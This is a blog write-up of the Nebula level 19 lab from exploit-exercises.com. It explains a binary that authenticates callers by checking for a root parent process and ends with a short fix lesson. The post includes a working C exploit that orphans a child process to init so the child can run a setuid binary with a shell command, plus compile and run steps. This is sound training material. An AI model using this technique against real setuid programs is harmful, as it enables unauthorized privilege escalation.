blog.ferling.eu by Benedikt Ferling


 

exploit-exercises.com/nebula -- Level 19

Problem

  1. Using methods for authentication, that are not intended for authentication - checking the parent user id.

In Linux a process which looses his parent becomes an orphan of the next higher parent in the processtree (see pstree). If there is no parent, then init is the parent. Init is owned by root!

Exploit

The binary /home/flag19/flag19 checks the parent-uid. If it is 0 (root) then it continues executing, else it just exits. To bypass this restriction we need to ensure, that the caller has the id 0. Processes that have no parent are automatically added as orphans to init.

What can be done is writing a program P1, that creates a process P2 and terminates itself. This way, the created process P2 is automatically added as orphan to init(if started from a login-shell), hence init ownes P2. In the process P2 the flag can be executed and the check will be sucessfully passed.

This is a c-programm that acts like P1. Compile and exploit.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(){

        if( fork() == 0){
                // child
                sleep(3);
                printf("now executing in orphan...\n");
                fflush(stdout);
                char *args[] = {"/bin/sh", "-c", "/bin/getflag > /tmp/flag19" };
                execv("/home/flag19/flag19", args);
                return 0;
        } else {
                // parent
                printf("killing parent\n");
                exit(1);
        }

        return 1;
}
1
2
3
gcc level19.c -0 level19
./level19
cat /tmp/flag19

Lesson / How to fix

  1. Use proper authentication-methods and tools provided by the OS, that are intended for authentication!

This level used the parent-uid of the process to authenticate the caller. As seen in this scenario, this isn’t a good idea.


other levels…

00 01 02 03 04 05 06 07 08 09
10 11 12 13 14 15 16 17 18 19